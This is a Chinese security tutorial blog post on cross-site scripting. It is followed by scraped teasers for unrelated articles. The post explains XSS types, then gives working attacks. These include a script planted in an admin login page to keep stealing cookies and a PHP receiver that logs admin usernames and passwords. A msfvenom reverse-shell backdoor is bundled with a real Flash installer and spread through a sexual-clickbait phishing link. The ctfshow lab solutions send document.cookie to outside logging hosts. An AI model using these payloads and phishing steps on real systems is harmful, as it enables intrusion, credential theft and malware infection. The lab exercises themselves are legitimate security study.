安全基础~通用漏洞4
文章目录
- 知识补充
- XSS跨站脚本
- **原理**
- **攻击类型**
- XSS-后台植入Cookie&表单劫持
- XSS-Flash钓鱼配合MSF捆绑上线
- ctfshow XSS靶场练习
知识补充
SQL注入小迪讲解
文件上传小迪讲解
文件上传中间件解析
XSS跨站脚本
xss平台:
https://xss.pt/
原理
恶意攻击者往 Web 页面里插入恶意可执行网页脚本代码,当用户浏览该页之时,嵌入其中 Web 里面的脚本代码会被执行,从而可以达到攻击者盗取用户信息或其他侵犯用户安全隐私的目的。
攻击类型
1、反射型XSS(非持久型XSS)
又称非持久型XSS。之所以称为反射型XSS,执行代码从目标服务器通过错误信息、搜索结果等等方式“反射”回来:发出请求时,XSS代码出现在URL中,作为输入提交到服务器端,服务器端解析后响应,XSS代码随响应内容一起传回给浏览器,最后浏览器解析执行XSS代码。这个过程像一次反射,故叫反射型XSS。 而称为非持久型XSS,则是因为这种攻击方式具有一次性,由于代码注入的是一个动态产生的页面而不是永久的页面,因此这种攻击方式只在点击链接的时候才产生作用。
攻击者通过电子邮件等方式给别人发送带有恶意脚本代码参数的 URL,当 URL 地址被打开时,注入脚本被传输到目标服务器上,然后服务器将注入脚本“反射”到受害者的浏览器上,特有的恶意代码参数被 HTML 解析、执行。

2、存储型XSS(持久型XSS)
又称持久型XSS,攻击脚本将被永久地存放在目标服务器端(数据库,内存,文件系统等),下次请求目标页面时不用再提交XSS代码。
一般存在于 Form 表单提交等交互功能,如发帖留言,提交文本信息等,黑客利用的 XSS 漏洞,将内容经正常功能提交进入数据库持久保存,当前端页面获得后端从数据库中读出的注入代码时,恰好将其渲染执行。

3、DOM-based 型
客户端的脚本程序可以动态地检查和修改页面内容,而不依赖于服务器端的数据。例如客户端如从 URL 中提取数据并在本地执行,如果用户在客户端输入的数据包含了恶意的 JavaScript 脚本,而这些脚本没有经过适当的过滤和消毒,那么应用程序就可能受到 DOM-based XSS 攻击。需要特别注意以下的用户输入源 document.URL、 location.hash、 location.search、 document.referrer 等。
示例展示:
-
x接收到值会在页面中显示(反射型)。
假如传输x的值改成JavaScript代码,就会出现弹窗:
正常写法:http://127.0.0.1:8081/web/mysql/xss.php?x=12345
弹窗写法:http://127.0.0.1:8081/web/mysql/xss.php?x=<script>alert(1)</script>
查看源代码发现会插入到HTML页面中

-
查看页面返回,有标签,标题等展示(存储型)

逐一测试发现其在标签处进行css插入时会出现XSS


发布出去之后,点击就会弹窗

-
传参时出现ks,检查发现它在title处有出现,测试是否具有XSS(反射型)

用</title>标签将其闭合,观察情况,发现其已经产生效果

直接用跨站语句执行,出现结果

- 平台:useragent.openadmintools.com
访问这个平台,可以发现他抓取了浏览器信息。从新进行访问,抓包,修改数据包UA头。

发送数据包

- 下订单,留言一般会在后台显示,前台进行留言,后台进行查看。这就形成了xss攻击

参考文章1
参考文章2
XSS-后台植入Cookie&表单劫持
条件:已取得相关web权限后 获取cookie的时候有时候会获取不全(phpsessid验证) 表单劫持可以得到一些权限维持,密文密码解密不了。可以通过他来获取明文账号密码。
已经取得了权限,要对后台的权限进行长期控制,可以借助xss盗取cookie,把他写入代码到登录成功文件,利用beef或xss平台实时监控Cookie等凭据实现权限维持 这种方法即使他把后台账号密码改了,也可以进行权限维持。(不会被后门工具识别。) 比如:登录的框页面http://127.0.0.1:8105/admin/login/login.php 登录成功后会跳转到http://127.0.0.1:8105/admin/index.php?lang=cn 我们就可以在登录成功的admin/index.php上进行操作,写入<sCRiPt sRC=//xss.pt/X8Vz></sCrIpT> 进行登录,然后就可以触发到相对应的代码。

可以观察到,他加载的数据包的内容

-
这样,只要登录成功就能获取,就能进行实时控制。进行了权限维持。 但是有一些网站不采用cookie,即使获取到了,但是还是不能登录。 正常来讲,访问这个地址:http://127.0.0.1:8105/admin/index.php?lang=cn 进行抓包修改cookie: UM_distinctid=17f38be65b3495-049fe07b7f19bd-e726559-1fa400-17f38be65b4b7d; CNZZDATA1670348=cnzz_eid%3D674406514-1645919148-%26ntime%3D1645919148; coul=8; lastvisit=0%091645924524%09%2F; _ac_app_ua=a0540fb14f9cd9d34f; recordurl=%2Chttp%253A%252F%252F127.0.0.1%253A8105%252F%2Chttp%253A%252F%252F127.0.0.1%253A8105%252Fabout%252Fshow.php%253Flang%253Dcn%2526id%253D19%2Chttp%253A%252F%252F127.0.0.1%253A8105%252Fnews%252F%2Chttp%253A%252F%252F127.0.0.1%253A8105%252Fjob%252F%2Chttp%253A%252F%252F127.0.0.1%253A8105%252F%2Chttp%253A%252F%252F127.0.0.1%253A8105%252F%2Chttp%253A%252F%252F127.0.0.1%253A8105%252F%2Chttp%253A%252F%252F127.0.0.1%253A8105%252F; PHPSESSID=e8gt6fhf1ba01jln0m6t0ljni1

-
但是返回包里明显还是登录不成功。 正确的cookie信息:UM_distinctid=17e46c24838315-027dd22377488f8-1262694a-144000-17e46c24839418; CNZZDATA3801251=cnzz_eid%3D1994470479-1641863151-%26ntime%3D1645228788; CNZZDATA1670348=cnzz_eid%3D1668791702-1645652947-%26ntime%3D1645652947; PHPSESSID=smd97a9vae15lsg0tf2claaoi3 可以得知他获取的cookie是不全的,或者说错误的。一般来说少了phpsessid (有防护)
那么就来进行实时的获取明文账号密码,这样才能进行权限维持。需要一定的基础量,能读懂数据的传输流程。 那么现在观察一下这个网站的登录流程是怎样的。 登录地址http://127.0.0.1:8105/admin/login/login.php找到想对应的代码段D:\phpstudy_pro\WWW\xss-MetInfo5.1.4\admin\login\login.php抓取登录的数据包
-
可以看到,他提交的数据包是给了
login_check.php文件,也就是说,他的账号密码是发送给了login_check.php这个文件。 查看提交的数据
-
action=login&loginlang=login.php%3Flangset%3Dcn&login_name=admin&login_pass=admin&Submit=%E7%99%BB%E5%BD%95 再次观察
login_check.php
-
可以知道两个接受账号密码的变量: 接受账号: m e t i n f o a d m i n n a m e 接受密码: metinfo_admin_name 接受密码: metinfoadminname接受密码:metinfo_admin_pass 然后用到JavaScript语句来进行账号密码的发送,那么应该怎么构造JavaScript语句呢? 将账号发送到某个地方 语句构造:
<script src="http://www.xiaodi8.com/get.php?user="账号"&pass"密码""></script>在某个地方来实现接收。get.php实现接收 构造payload: $up='<script src=http://127.0.0.1:8081/web/get.php?user='.$metinfo_admin_name.'&pass='.$metinfo_admin_pass.'></script>'; echo $up;
在http://127.0.0.1:8081/web中穿件get.php代码。 get.php代码:<?php $u=$_GET['user']; $p=$_GET['pass']; $myfile=fopen("newfile.txt","a+"); fwrite($myfile,$u); fwrite($myfile,'|');fwrite($myfile,$p); fwrite($myfile,'\n');fclose($myfile); ?>接收账号密码,写到newfile文件中
然后尝试登录这个网站中,可以看到他尝试请求http://127.0.0.1:8081/web/get.php这个网站,把admin和password发送出去
-
在登录下输入的账号密码,就会发送到newfile中记录,这个时候就可以进行测试了。
主要解决两个问题:
1.cookie失败的时候(截取不到)。 2.取得一些权限,密码解密不了。
XSS-Flash钓鱼配合MSF捆绑上线
-
条件:beef上线受控后或直接钓鱼(受害者爱看SESE) 1、生成后门,攻击是pc端的。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=47.100.167.248 LPORT=1111 -f exe > flash.exe
-
flash下载官方地址:https://www.flash.cn/ 我们构造的flash下载地址:
http://127.0.0.1:8106/(一般是构造一个比较逼真的网址。) 把后门放在D:\phpstudy_pro\WWW\web\目录上 打开构造好的地址,index.html文件,把立即下载这个地址改为后门下载地址:http://127.0.0.1:8081/web/flash.exe

-
运行exe并且安装正常的文件,所以需要捆绑正常文件。 在官方网站下载一个正常的flash文件 正常文件:
flashcenter_pp_ax_install_cn.exe后门文件:flash.exe 把两个文件放在一起压缩。

选择高级,自解压选项,解压到c:\windows\temp

-
点击设置,进行配置

-
在确定,压缩为rar文件。然后再把文件名一改,改成
flash_install.exe文件,修改图标。 用到Restorator2018_Full_1793_FIX工具。 把两个exe文件拖进去,然后把官方的图片导出。

-
然后导入到对应的文件中,启动msf监听:
msfconsole use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 0.0.0.0 set lport 1111 run

-
那个别人是怎么访问你这个地址呢?
1.通过xss beef来让浏览器自动访问下载后门,并且运行
2.直接发给对方诱使他去访问。 通过发送消息,比如小迪与某主播瑟瑟画面流出:http://127.0.0.1:8081/web/诱惑.html 当访问想看的时候

-
访问,直接跳转,然后配合后门上线

-
执行后门,上线完成

这一类遇到的问题:免杀问题(后门下载下来会遭到火绒等查杀)
xss漏洞小展现
ctfshow XSS靶场练习
ctfshow默认会有一个机器人去访问触发的跨站,flag一般都隐藏在cookie中。
参考文章
方法一:
利用xss平台生成链接:https://xss.pt/xss.php

不过平台好像不能用了

方法二:
自动接收脚本
在自己的服务器上放一个PHP代码
# a.php
<?php$cookie = $_GET['cookie'];$log = fopen("cookie.txt", "a");fwrite($log, $cookie . "\n");fclose($log);
?>
<script>document.location.href='http://xxx/a.php?cookie='+document.cookie</script>
JavaScript的 document.cookie 将以字符串的方式返回所有的cookie,类型格式: cookie1=value; cookie2=value;
让控制太进行跳转访问window.location.href='http://xxx/a.php' 这样回车就会跳转到http://xxx/a.php
可以使用:http://ceye.io/ 网络安全工具,用于监控和跟踪网络流量,以便发现潜在的安全漏洞和攻击
XSS绕过总结参考
web 316
首先测试一下<script>alert(1)</script>,弹窗成功
注册过防火墙,利用http://ceye.io/ 网络安全工具


<script>window.location.href='你的ceye地址/'+document.cookie</script>
<script>location.href='http://你的ceye地址/'+document.cookie</script>
<script>window.open('http://你的ceye地址/'+document.cookie)</script>
web 317-319简单过滤
- 317过滤script
- 318过滤img
<body onload="window.location.href='http://xxx/a.php?1='+document.cookie"></body>- xss平台的十六进制编码格式
<iframe WIDTH=0 HEIGHT=0 srcdoc=。。。。。。。。。。<sCRiPt sRC="https://xss.pt/0st4"></sCrIpT>>
web320-322-过滤空格
使用tab、\反斜杠或/**/代替空格
web323-326-过滤iframe
- web322、324过滤 ; 分号
- web325过滤 . 点号
<body/onload="window.location.href='http://yours-ip/a.php?1='+document.cookie"></body>
eg:325

web327
收件人poster必须是admin,才能发送,什么原因,I don’t konw
发件人和信的内容填写xss payload即可
web328- js拿管理员cookie
参考
存在有登录,有注册。
注册之后登录,发现没有管理员权限,无法查看



在用户管理中,有账号密码等显示(这里不是管理员不让显示)
思路: 后台管理员有功能页面,能够查看注册用户的账号密码 如果我将注册的账号密码改为js代码,在管理员查看账号密码下会不会触发js代码么 触发了JavaScript代码,获取到管理员的cookie值,就可以进行用户的查看。
那么就注册一个JS
<script>window.location.href='http://fd35br.ceye.io/'+document.cookie</script>,显示注册成功
获取到PHPSESSID,直接在cookie中添加此内容

使用bp抓包,修改cookie,将sessid换成我们刚刚得到的id



web329- js拿管理员cookie失效
利用上一关得问题,不过拿到cookie之后就失效了,我们已经知道了flag出现的位置,直接获取网页源码的元素,过滤到该点即可
构造payload
<script>
$('.laytable-cell-1-0-1').each(function(index,value){if(value.innerHTML.indexOf('ctf'+'show')>-1){window.location.href='http://你的ceye地址/'+value.innerHTML;} });
</script>
需要一次完成,后面的dacaiji就是flag

web330- xsrf
前端存在修改密码,且没有token,存在csrf

在修改密码时,抓包,发现存在一个api接口/api/change.php?p=123,此时修改的密码就是123

所以只要将注册内容可以跳转到该接口,使得admin访问,即可重置管理员密码为想要设置的内容。
<script>window.location.href='http://127.0.0.1/api/change.php?p=123';</script>
其中127.0…0.1是服务器本身地址
使用密码123登录admin用户,查看flag
web331- xsrf post
同样有修改密码的地方,但是是post提交数据,抓包分析
在 url/js/select.js 中存在 post json 方式修改密码请求的js代码
<script>$.ajax({url:'api/change.php',type:'post',data:{p:'123'}});</script>
修改管理员密码
web332-333
参考链接:https://blog.csdn.net/rfrder/article/details/114079028#t17
相关文章:
安全基础~通用漏洞4
文章目录 知识补充XSS跨站脚本**原理****攻击类型**XSS-后台植入Cookie&表单劫持XSS-Flash钓鱼配合MSF捆绑上线ctfshow XSS靶场练习 知识补充 SQL注入小迪讲解 文件上传小迪讲解 文件上传中间件解析 XSS跨站脚本 xss平台: https://xss.pt/ 原理 恶意攻击者…...
2024/2/12 图的基础知识 2
目录 查找文献 P5318 【深基18.例3】查找文献 - 洛谷 | 计算机科学教育新生态 (luogu.com.cn) 有向图的拓扑序列 848. 有向图的拓扑序列 - AcWing题库 最大食物链计数 P4017 最大食物链计数 - 洛谷 | 计算机科学教育新生态 (luogu.com.cn) 查找文献 P5318 【深基18.例3】…...
无人机飞行原理,多旋翼无人机飞行原理详解
多旋翼无人机升空飞行的首要条件是动力,有了动力才能驱动旋粪旋转,才能产生克服重力所必需的升力。使旋翼产生升力,进而推动多旋翼无人机升空飞行的一套设备装置称为动力装置,包括多旋翼无人机的发动机以及保证发动机正常工作所必…...
docker本地目录挂载
小命令 1、查看容器详情 docker inspect 容器名称 还是以nginx为例,上篇文章我们制作了nginx静态目录的数据卷,此时查看nginx容器时会展示出来(docker inspect nginx 展示信息太多,这里只截图数据卷挂载信息)&#…...
使用C++从零开始,自己写一个MiniWeb
第一步:新建项目 1、打开VS点击创建新项目 2、选择空项目并点下一步(切记不能选错项目类型) 3、填写项目名称和路径,点击创建即可 新建好后项目是这样的比较干净 4、右击源文件,点击添加,新建http.cpp文件…...
Android Graphics 图像显示系统 - 开篇
“ 随着学习的不断深入和工作经验的积累,欲将之前在博客中整理的Android Graphics知识做进一步整理,并纠正一些理解上的错误,故开设Graphics主题系列文章 ” 序言 由于工作需要,也源于个人兴趣,终于下决心花时间整理一…...
机器学习在各个行业的应用介绍
随着科技的飞速发展,机器学习已经从实验室走向了现实世界,逐渐成为各行各业不可或缺的工具。从金融领域到医疗健康,从零售市场到制造业,机器学习正在改变着我们的工作方式和生活质量。 本文将深入探讨机器学习在以下几个领域的应用…...
【生产实测有效】Windows命令行查看激活状态脚本
Windows查看激活状态关键代码 通过windows server 自带的PowerShell来执行 Get-WmiObject SoftwareLicensingProduct | Select-Object -Property Description, LicenseStatus | findstr "Operating System"|findstr "1$"Get-WmiObject SoftwareLicensingPr…...
简单的Udp服务器
目录 简单的UDP网络程序1.1 UdpServer.hpp1.2 UdpClient.cc1.3 main.cc1.4 makefile1.5 log.hpp 简单的UDP网络程序 1.1 UdpServer.hpp #pragma once#include <iostream> using namespace std;#include <unistd.h> #include <sys/types.h> #include <sy…...
【Linux进程间通信】用管道实现简单的进程池、命名管道
【Linux进程间通信】用管道实现简单的进程池、命名管道 目录 【Linux进程间通信】用管道实现简单的进程池、命名管道为什么要实现进程池?代码实现命名管道创建一个命名管道 理解命名管道匿名管道与命名管道的区别命名管道的打开规则 作者:爱写代码的刚子…...
Linux操作系统基础(九):Linux用户与权限
文章目录 Linux用户与权限 一、文件权限概述 二、终端命令:组管理 三、终端命令:用户管理 1、创建用户 、 设置密码 、删除用户 2、查看用户信息 3、su切换用户 4、sudo 4.1、给指定用户授予权限 4.2、使用 用户 zhangsan登录, 操作管理员命令…...
蓝桥杯——第 5 场 小白入门赛(c++详解!!!)
文章目录 1 十二生肖基本思路: 2 欢迎参加福建省大学生程序设计竞赛基本思路:代码: 3 匹配二元组的数量基本思路:代码: 4 元素交换基本思路:代码: 5 下棋的贝贝基本思路:代码: 6 方程…...
Codeforces Round 303 (Div. 2)C. Kefa and Park(DFS、实现)
文章目录 题面链接题意题解代码总结 题面 链接 C. Kefa and Park 题意 求叶节点数量,叶节点满足,从根节点到叶节点的路径上最长连续1的长度小于m 题解 这道题目主要是实现,当不满足条件时直接返回。 到达叶节点后统计答案,用…...
797. 差分
Problem: 797. 差分 文章目录 思路解题方法复杂度Code 思路 这是一个差分数组的问题。差分数组的主要适用场景是频繁对原始数组的某一个区间进行增减操作。这种操作是区间修改操作,在这种操作下,差分数组只需要对区间的两个端点进行操作,时间…...
2024.2.5 vscode连不上虚拟机,始终waiting for server log
昨天还好好的,吃着火锅,做着毕设,突然就被vscode给劫了。 起初,哥们跟着网上教程有模有样地删除了安装包缓存,还删除了.vscode-server,发现没卵用,之前都是搜那个弹窗报错。 后来发现原来是vsco…...
CSS基础---新手入门级详解
CSS:层叠样式表 CSS(Cascading Style Sheets,层叠样式表),是一种用来为结构化文档添加样式(字体、间距和颜色)的计算机语言,css扩展名为.css。 实例: <!DOCTYPE html><html> <head><…...
Python中Pymysql库的常见用法和代码示例
关注B站可以观看更多实战教学视频:肆十二-的个人空间-肆十二-个人主页-哔哩哔哩视频 (bilibili.com) pymysql是一个用于连接MySQL数据库的Python库,它允许你执行SQL查询并处理返回的结果。以下是pymysql库的一些常见用法和代码示例: 1. 安装…...
使用 WPF + Chrome 内核实现高稳定性的在线客服系统复合应用程序
对于在线客服与营销系统,客服端指的是后台提供服务的客服或营销人员,他们使用客服程序在后台观察网站的被访情况,开展营销活动或提供客户服务。在本篇文章中,我将详细介绍如何通过 WPF Chrome 内核的方式实现复合客服端应用程序。…...
fastapi mysql 开发restful 3
pip install mysql-connector-python pymysql 数据库链接 创建src目录,里面创建db.py 代码如下: # 导入mysql.connector模块,该模块提供了与MySQL数据库进行连接和交互的功能。 import mysql.connector # 定义一个函数get_db_connectio…...
【Uniapp uni-app学习与快速上手——详细讲解】
Uniapp uni-app学习与快速上手——详细讲解 1. 介绍2. Uni-app 学习资源3. 快速上手4. 开始第一个项目5. 调试和发布 1. 介绍 Uni-app 是一个使用 Vue.js 编写多端应用的前端框架。开发者可以编写一份代码,然后发布到iOS、Android、网页(响应式…...
WordPress插件:AI多语言写作与智能配图、免费AI模型、SEO文章生成
厌倦手动写WordPress文章?AI自动生成,效率提升10倍! 支持多语言、自动配图、定时发布,让内容创作更轻松! AI内容生成 → 不想每天写文章?AI一键生成高质量内容!多语言支持 → 跨境电商必备&am…...
技术栈RabbitMq的介绍和使用
目录 1. 什么是消息队列?2. 消息队列的优点3. RabbitMQ 消息队列概述4. RabbitMQ 安装5. Exchange 四种类型5.1 direct 精准匹配5.2 fanout 广播5.3 topic 正则匹配 6. RabbitMQ 队列模式6.1 简单队列模式6.2 工作队列模式6.3 发布/订阅模式6.4 路由模式6.5 主题模式…...
IP如何挑?2025年海外专线IP如何购买?
你花了时间和预算买了IP,结果IP质量不佳,项目效率低下不说,还可能带来莫名的网络问题,是不是太闹心了?尤其是在面对海外专线IP时,到底怎么才能买到适合自己的呢?所以,挑IP绝对是个技…...
DiscuzX3.5发帖json api
参考文章:PHP实现独立Discuz站外发帖(直连操作数据库)_discuz 发帖api-CSDN博客 简单改造了一下,适配我自己的需求 有一个站点存在多个采集站,我想通过主站拿标题,采集站拿内容 使用到的sql如下 CREATE TABLE pre_forum_post_…...
在golang中如何将已安装的依赖降级处理,比如:将 go-ansible/v2@v2.2.0 更换为 go-ansible/@v1.1.7
在 Go 项目中降级 go-ansible 从 v2.2.0 到 v1.1.7 具体步骤: 第一步: 修改 go.mod 文件 // 原 v2 版本声明 require github.com/apenella/go-ansible/v2 v2.2.0 替换为: // 改为 v…...
LangChain 中的文档加载器(Loader)与文本切分器(Splitter)详解《二》
🧠 LangChain 中 TextSplitter 的使用详解:从基础到进阶(附代码) 一、前言 在处理大规模文本数据时,特别是在构建知识库或进行大模型训练与推理时,文本切分(Text Splitting) 是一个…...
数据库正常,但后端收不到数据原因及解决
从代码和日志来看,后端SQL查询确实返回了数据,但最终user对象却为null。这表明查询结果没有正确映射到User对象上。 在前后端分离,并且ai辅助开发的时候,很容易出现前后端变量名不一致情况,还不报错,只是单…...
leetcode73-矩阵置零
leetcode 73 思路 记录 0 元素的位置:遍历整个矩阵,找出所有值为 0 的元素,并将它们的坐标记录在数组zeroPosition中置零操作:遍历记录的所有 0 元素位置,将每个位置对应的行和列的所有元素置为 0 具体步骤 初始化…...
计算机系统结构复习-名词解释2
1.定向:在某条指令产生计算结果之前,其他指令并不真正立即需要该计算结果,如果能够将该计算结果从其产生的地方直接送到其他指令中需要它的地方,那么就可以避免停顿。 2.多级存储层次:由若干个采用不同实现技术的存储…...
2025 后端自学UNIAPP【项目实战:旅游项目】7、景点详情页面【完结】
1、获取景点详情的请求【my_api.js】 // 引入公共的请求封装 import http from ./my_http.js// 登录接口(适配服务端返回 Token) export const login async (code, avatar) > {const res await http(/login/getWXSessionKey, {code,avatar}); };//…...
